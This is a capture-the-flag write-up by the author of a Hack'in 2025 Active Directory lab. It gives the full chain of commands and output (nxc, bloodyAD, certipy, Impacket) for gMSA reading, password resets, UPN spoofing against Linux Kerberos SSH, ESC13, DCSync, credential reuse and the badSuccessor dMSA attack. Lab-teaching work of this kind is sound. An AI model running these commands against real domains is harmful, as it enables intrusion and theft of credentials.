Hack'in 2025 - One Directory

This challenge was part of Hack’in 2025, an annual cybersecurity event held in Aix-en-Provence (France). I made this lab myself, so if you have any tips or feedback to make the next one better, feel free to DM me on X ! To get started, players were given the following IPs: 10.99.30.1010.99.30.2010.99.30.30, plus the credentials for m.luffy as initial footholds.

TL;DR

  • ReadGMSAPassword
  • ForceChangePassword
  • Abusing Linux Kerberos stack
  • Keytab harvesting
  • Credentials reuse
  • badSuccessor

Flag 1 - SRV1.GRANDLINE.LOCAL

ReadGMSAPassword (PX-5$)

To begin, since we’re starting the lab with valid credentials, we’ll skip the pre-auth reconnaissance phase and jump straight into authenticated enumeration using BloodHound:

rayanlecat@hackin2025 $ nxc ldap dc1.grandline.local -u 'm.luffy' -p '1xHvXvd-#cI2g%(e' --bloodhound --dns-server 10.99.30.10  -c All    
LDAP        10.99.30.10     389    DC1              [*] Windows 10 / Server 2019 Build 17763 (name:DC1) (domain:grandline.local)
LDAP        10.99.30.10     389    DC1              [+] grandline.local\m.luffy:1xHvXvd-#cI2g%(e 
LDAP        10.99.30.10     389    DC1              Resolved collection methods: rdp, acl, dcom, psremote, session, trusts, objectprops, container, group, localadmin
LDAP        10.99.30.10     389    DC1              Done in 00M 32S
LDAP        10.99.30.10     389    DC1              Compressing output into /root/.nxc/logs/DC1_10.99.30.10_2025-06-13_113326_bloodhound.zip

We can see that our user has the rights to read the GMSA password of the PX-5$ account:

We can now retrieve the GMSA account's secret and extract its NT hash:

rayanlecat@hackin2025 $ ldeep ldap -s dc1.grandline.local -u 'm.luffy' -p '1xHvXvd-#cI2g%(e' -d grandline.local gmsa  
PX-5$:nthash:421019f263a877cc438e7fd182795dfb
PX-5$:aes128-cts-hmac-sha1-96:f4065f37eeb284842a3f33f0e286d77f
PX-5$:aes256-cts-hmac-sha1-96:789a52342de86529f10544f2262140a81e57d9f2be6b04b361057894cb85c367
PX-5$:reader:m.luffy

ForceChangePassword (k.kaido)

This user also has permissions over the k.kaido account that allow us to reset its password: 

We proceed to reset the user's password:

rayanlecat@hackin2025 $ bloodyAD --host "dc1.grandline.local" -d "grandline.local" -u 'PX-5$' -p ':421019f263a877cc438e7fd182795dfb' set password k.kaido 'Cat1337!'
[+] Password changed successfully!

Abusing Linux Kerberos stack (s.shanks)

Digging deeper in BloodHound didn’t reveal anything useful for the next step. However, using dacledit.py from the Impacket toolkit, we discovered that our user has permission to modify the Public-Information property set on his own account:

rayanlecat@hackin2025 $ dacledit.py grandline.local/"k.kaido":'Cat1337!' -dc-ip 10.99.30.10 -target k.kaido -principal-sid S-1-5-10                        
Impacket v0.13.0.dev0+20250107.155526.3d734075 - Copyright Fortra, LLC and its affiliated companies 

[*] Parsing DACL
[*] Printing parsed DACL
[*] Filtering results for SID (S-1-5-10)
...snip...
[*]   ACE[17] info                
[*]     ACE Type                  : ACCESS_ALLOWED_OBJECT_ACE
[*]     ACE flags                 : None
[*]     Access mask               : WriteProperty
[*]     Flags                     : ACE_OBJECT_TYPE_PRESENT
[*]     Object type (GUID)        : Public-Information (e48d0154-bcf8-11d1-8702-00c04fb96050)
[*]     Trustee (SID)             : Principal Self (S-1-5-10)
...snip...

The Public-Information property set includes several interesting attributes notably, the userPrincipalName (UPN). Knowing that there’s a Linux machine joined to the domain, and that the user s.shanks is a member of the LinuxAdmins group, we can exploit a vulnerability described in this blog post by Ceri Coburn .

This vulnerability stems from differences in how Kerberos implementations on Windows and Linux validate Kerberos tickets. In short, MIT Kerberos doesn't check the PAC so if we control a domain account and can modify its UPN, we can spoof another user as explained in the following schema :

On Linux systems using MIT Kerberos (commonly found on domain-joined Linux machines), the SSH daemon often allow users to authenticates using Kerberos ticket throught GSSAPI.

By changing our own UPN to match s.shanks, we can impersonate him via SSH on the Linux host SRV1.

To confirm that the exploitation will work, we need to verify that the SSH server on SRV1 supports GSSAPI authentication. To do this, we can use gssapi-abuse :

./gssapi-abuse.py -d grandline.local enum -u k.kaido -p 'Cat1337!'
[=] Found 1 non Windows machines registered within AD
[+] Host srv1.grandline.local has GSSAPI enabled over SSH

Then we modify our UPN accordingly:

rayanlecat@hackin2025 $ bloodyAD --host "dc1.grandline.local" -d "grandline.local" -u 'k.kaido' -p 'Cat1337!' set object k.kaido userPrincipalName -v 's.shanks'  
[+] k.kaido's userPrincipalName has been updated

We request a ticket using the NT_ENTERPRISE principal type so that Kerberos uses our userPrincipalName as the cname instead of our samAccountName:

rayanlecat@hackin2025 $ getTGT.py -dc-ip "10.99.30.10" "grandline.local"/"s.shanks":'Cat1337!' -principalType NT_ENTERPRISE 

Impacket v0.13.0.dev0+20250107.155526.3d734075 - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in s.shanks.ccache

We create a Kerberos configuration to authenticate to the Linux host via GSSAPI: /etc/krb5.conf

[libdefaults]
    default_realm = GRANDLINE.LOCAL

[realms]
        GRANDLINE.LOCAL = {
                kdc = dc1.grandline.local
        }

[domain_realm]
        .grandline.local = GRANDLINE.LOCAL
        grandline.local = GRANDLINE.LOCAL

We export the TGT to a keytab and initiate an SSH connection using it:

rayanlecat@hackin2025 $ export KRB5CCNAME=s.shanks.ccache
rayanlecat@hackin2025 $  ssh -vv -K s.shanks@grandline.local@srv1.grandline.local
Last login: Wed Jun 11 00:05:21 2025 from 172.20.10.7
[s.shanks@srv1 ~]$ 

Now that we have access to the machine, we could run standard enumeration tools like linpeaspspy, etc. However, the goal wasn’t to spend too much time on that and fortunately, the user has sudo ALL permissions with NOPASSWD, meaning we can escalate privileges immediately and get the first flag :

[s.shanks@srv1 ~]$ sudo -l
...snip...
User s.shanks may run the following commands on srv1:
    (ALL) NOPASSWD: ALL
[s.shanks@srv1 ~]$ sudo su 
[root@srv1 s.shanks]# cat /root/flag.txt 
HNx04{81ace9d45ea97e1d9f0ea54630c4b517}

Flag 2 - DC1.GRANDLINE.LOCAL

Keytab harvesting (SRV1$)

On the machine, we perform post-exploitation to retrieve the secrets of the Linux machine account, which are stored in the keytab file:

[root@srv1 ~]# klist -K -e -k /etc/krb5.keytab
Keytab name: FILE:/etc/krb5.keytab
KVNO Principal
---- --------------------------------------------------------------------------
43  11 SRV1$@GRANDLINE.LOCAL (DEPRECATED:arcfour-hmac)  (0x27714ec365c933ab89a9c5d9f46ef85b)
  11 host/SRV1@GRANDLINE.LOCAL (DEPRECATED:arcfour-hmac)  (0x27714ec365c933ab89a9c5d9f46ef85b)
  11 host/srv1.grandline.local@GRANDLINE.LOCAL (DEPRECATED:arcfour-hmac)  (0x27714ec365c933ab89a9c5d9f46ef85b)
  11 RestrictedKrbHost/SRV1@GRANDLINE.LOCAL (DEPRECATED:arcfour-hmac)  (0x27714ec365c933ab89a9c5d9f46ef85b)
  11 RestrictedKrbHost/srv1.grandline.local@GRANDLINE.LOCAL (DEPRECATED:arcfour-hmac)  (0x27714ec365c933ab89a9c5d9f46ef85b)

ESC13 (Administrator)

With the machine account, we can move on to an ADCS enumeration phase. We notice that the account is allowed to enroll in the Server certificate template, which is vulnerable to ESC13. This is because the template allows client authentication (via PKINIT/Schannel) and is linked to the Backup group:

rayanlecat@hackin2025 $ certipy find -vulnerable -u 'SRV1$@grandline.local' -hashes ':27714ec365c933ab89a9c5d9f46ef85b'  -stdout -dc-ip 10.99.30.10 -target dc1.grandline.local -ldap-scheme ldap
...snip...
Certificate Templates
  0
    Template Name                       : Server
...snip...
    [!] Vulnerabilities
      ESC13                             : Template allows client authentication and issuance policy is linked to group 'CN=Backup,CN=Users,DC=grandline,DC=local'.

In BloodHound, we can see that the Backup group which we can impersonate via ESC13 has permissions to perform a DCSync: 

First, we request a certificate for this template using the machine account:

rayanlecat@hackin2025 $ certipy req -u 'SRV1$@grandline.local' -hashes :27714ec365c933ab89a9c5d9f46ef85b -dc-ip '10.99.30.10' -target 'DC1.GRANDLINE.LOCAL' -ca 'grandline-DC1-CA' -template 'Server'
Certipy v5.0.2 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Request ID is 7
[*] Successfully requested certificate
[*] Got certificate with DNS Host Name 'srv1.grandline.local'
[*] Certificate object SID is 'S-1-5-21-1030538350-3760926493-2290161887-1176'
[*] Saving certificate and private key to 'srv1.pfx'
[*] Wrote certificate and private key to 'srv1.pfx'

We can now authenticate using the certificate and obtain a Kerberos ticket via PKINIT:

rayanlecat@hackin2025 $ certipy auth -pfx srv1.pfx -dc-ip 10.99.30.10
Certipy v5.0.2 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     SAN DNS Host Name: 'srv1.grandline.local'
[*]     Security Extension SID: 'S-1-5-21-1030538350-3760926493-2290161887-1176'
[*] Using principal: 'srv1$@grandline.local'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'srv1.ccache'
[*] Wrote credential cache to 'srv1.ccache'
[*] Trying to retrieve NT hash for 'srv1$'
[*] Got hash for 'srv1$@grandline.local': aad3b435b51404eeaad3b435b51404ee:27714ec365c933ab89a9c5d9f46ef85b

Using this ticket, we can impersonate the privileges of the Backup group and perform a DCSync and compromise the first domain :

rayanlecat@hackin2025 $ export KRB5CCNAME=srv1.ccache
rayanlecat@hackin2025 $ nxc smb dc1.grandline.local --use-kcache --ntds                                                      
SMB         dc1.grandline.local 445    DC1              [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC1) (domain:grandline.local) (signing:True) (SMBv1:False) 
SMB         dc1.grandline.local 445    DC1              [+] GRANDLINE.LOCAL\srv1$ from ccache 
SMB         dc1.grandline.local 445    DC1              [-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied 
SMB         dc1.grandline.local 445    DC1              [+] Dumping the NTDS, this could take a while so go grab a redbull...
SMB         dc1.grandline.local 445    DC1              Administrator:500:aad3b435b51404eeaad3b435b51404ee:3002112f68c6ec1a0803c9b49557af65:::
...snip...

Now that we have domain administrator privileges, all that’s left is to retrieve the flag:

rayanlecat@hackin2025 $ nxc smb dc1.grandline.local -u Administrator -H 3002112f68c6ec1a0803c9b49557af65 --get-file \\Users\\Administrator\\Desktop\\flag.txt  --share 'C$'    
SMB         dc1.grandline.local 445    DC1              [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC1) (domain:grandline.local) (signing:True) (SMBv1:False) 
SMB         dc1.grandline.local 445    DC1              [+] GRANDLINE.LOCAL\srv1$ from ccache 
SMB         dc1.grandline.local        445    DC1         [*] Copying "flag.txt" to "flag.txt"
SMB         dc1.grandline.local        445    DC1         [+] File "\\Users\\Administrator\\Desktop\\flag.txt" was downloaded to "flag.txt"

rayanlecat@hackin2025 $ cat flag.txt
HNx04{4bc6c81be2da8e1abecd6ee5635e73cb}

Flag 3 - DC2.MARYGEOISE.GOV

Credentials reuse (s.stussy)

Now that we’ve compromised the first domain, we can begin enumerating the second one. We start by performing RID cycling to enumerate domain users:

rayanlecat@hackin2025 $ nxc smb dc2 -u '' -p '' --rid-brute 
SMB         192.168.89.96   445    DC2              [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC2) (domain:marygeoise.gov) (signing:True) (SMBv1:False) 
SMB         192.168.89.96   445    DC2              [+] marygeoise.gov\: 
...snip...
SMB         192.168.89.96   445    DC2              1155: MARYGEOISE\s.saturn (SidTypeUser)
SMB         192.168.89.96   445    DC2              1156: MARYGEOISE\s.jupiter (SidTypeUser)
SMB         192.168.89.96   445    DC2              1157: MARYGEOISE\s.stussy (SidTypeUser)
SMB         192.168.89.96   445    DC2              1158: ...snip...

We notice that both domains have a user named stussy. By reusing the credentials of the b.stussy account from the grandline.local domain on the marygeoise.gov domain for the user s.stussy, we find that the hash is the same:

rayanlecat@hackin2025 $ nxc smb dc2 -u 's.stussy' -H 5976bf6a3c3bced8feb41b324d6e17e2
SMB         192.168.89.96   445    DC2              [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC2) (domain:marygeoise.gov) (signing:True) (SMBv1:False) 
SMB         192.168.89.96   445    DC2              [+] marygeoise.gov\s.stussy:5976bf6a3c3bced8feb41b324d6e17e2

badSuccessor (Administrator)

Using bloodyAD (make sure to use the latest version), we see that we have CreateChild permissions on the CP0 OU:

rayanlecat@hackin2025 $ bloodyAD --host "dc2.marygeoise.gov" -d "marygeoise.gov" -u 's.stussy' -p '5764d9a8390303bbe5bb385f9ddd85ed' -k get writable --otype OU --right CHILD

distinguishedName: OU=CP0,DC=marygeoise,DC=gov
permission: CREATE_CHILD

Recently, Akamai published a blog post describing the exploitation of dMSA accounts, a new feature introduced by Microsoft in Windows Server 2025. The post explains how, by having the right permissions over an OU (such as CreateChild), it's possible to create a dMSA account and set the msDS-ManagedAccountPrecededByLink attribute to reference a target account in Active Directory for example, Administrator. Once that’s done, it's possible to request a TGT for the dMSA account, and the ticket will contain the secret (NT hash) of the linked target account, as referenced in the msDS-ManagedAccountPrecededByLink attribute.

Since we’re on a Windows Server 2025 machine and have CreateChild rights on an OU, all the conditions are met to exploit this vulnerability.

Here’s a summary of the attack, along with a small diagram: 

To carry out the attack, we can use the latest version of bloodyAD, which includes a dedicated module for this. However, note that on Windows Server 2025, RC4 has been disabled so we must authenticate as s.stussy using either the AES-128 or AES-256 key :

rayanlecat@hackin2025 $ bloodyAD -s --host "dc2.marygeoise.gov" -d "marygeoise.gov" -u 's.stussy' -p '5764d9a8390303bbe5bb385f9ddd85ed' -k add badSuccessor dmsa --ou 'OU=CP0,DC=marygeoise,DC=gov' 
[*] Creating DMSA dmsa$ in OU=CP0,DC=marygeoise,DC=gov
[*] Impersonating: CN=Administrator,CN=Users,DC=marygeoise,DC=gov

Realm        : MARYGEOISE.GOV
Sname        : krbtgt/MARYGEOISE.GOV
UserName     : dmsa$
UserRealm    : marygeoise.gov
StartTime    : 2025-06-12 15:29:35+00:00
EndTime      : 2025-06-13 01:29:35+00:00
RenewTill    : 2025-06-13 15:33:27+00:00
Flags        : enc-pa-rep, pre-authent, renewable, forwardable
Keytype      : 18
Key          : K+b9nj/iHTTncgLwNW5V3dnVOEFdzO119FRQs/ol5co=
EncodedKirbi : 

    doIFyTCCBcWgAwIBBaEDAgEWooIEujCCBLZhggSyMIIErqADAgEFoRAbDk1BUllHRU9JU0UuR09WoiMwIaADAgECoRowGBsGa3Ji
...snip...
[+] dMSA TGT stored in ccache file dmsa_7C.ccache

dMSA current keys found in TGS:
AES256: 897d450d116ada30e9b52d1da31e6f0287d00320d2b668e76d5637e4b536a5d5
AES128: 440154373be010bef47465806207e1c8
RC4: ff1e12a0cb22c2e3fcc338ce916b632d

dMSA previous keys found in TGS (including keys of preceding managed accounts):
RC4: c11934b87974356d5cf58de452c921dc

Using the badSuccessor technique, we were able to retrieve the NT hash of the domain administrator and we can retrieve the flag:

rayanlecat@hackin2025 $ nxc smb dc2.marygeoise.gov -u 'Administrator' -H c11934b87974356d5cf58de452c921dc --get-file \\Users\\Administrator\\Desktop\\flag.txt  --share 'C$'    
SMB         192.168.89.96   445    DC2              [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC2) (domain:marygeoise.gov) (signing:True) (SMBv1:False) 
SMB         192.168.89.96 445    DC2              [+] marygeoise.gov\srv1$ from ccache 
SMB         192.168.89.96        445    DC2         [*] Copying "flag.txt" to "flag.txt"
SMB         192.168.89.96        445    DC2         [+] File "\\Users\\Administrator\\Desktop\\flag.txt" was downloaded to "flag.txt"

rayanlecat@hackin2025 $ cat flag.txt
HNx04{e6420fe0eb8af26fb0e492e2b6420c8d}

Final Attack Path

PS : Thanks to Julien Perrin for the scenario builder tool!

Conclusion

In short, crafting this Active Directory lab for Hack’in 2025 was a thrill. I slipped in some niche tricks like abusing the Kerberos stack on Linux and the brand-new badSuccessor attack. Huge thanks to Green IT Solution and Mahel Brossier for hosting the lab, and hats off to the Exegol team especially Shutdown and Volker for being the only team to root the entire lab during the CTF!

In hindsight, the lab's first flag was probably too difficult as an entry point. A better approach would have been to reverse the order of the three flags to offer a more gradual difficulty curve this would have allowed more teams to progress and engage more deeply with the challenges.

Resources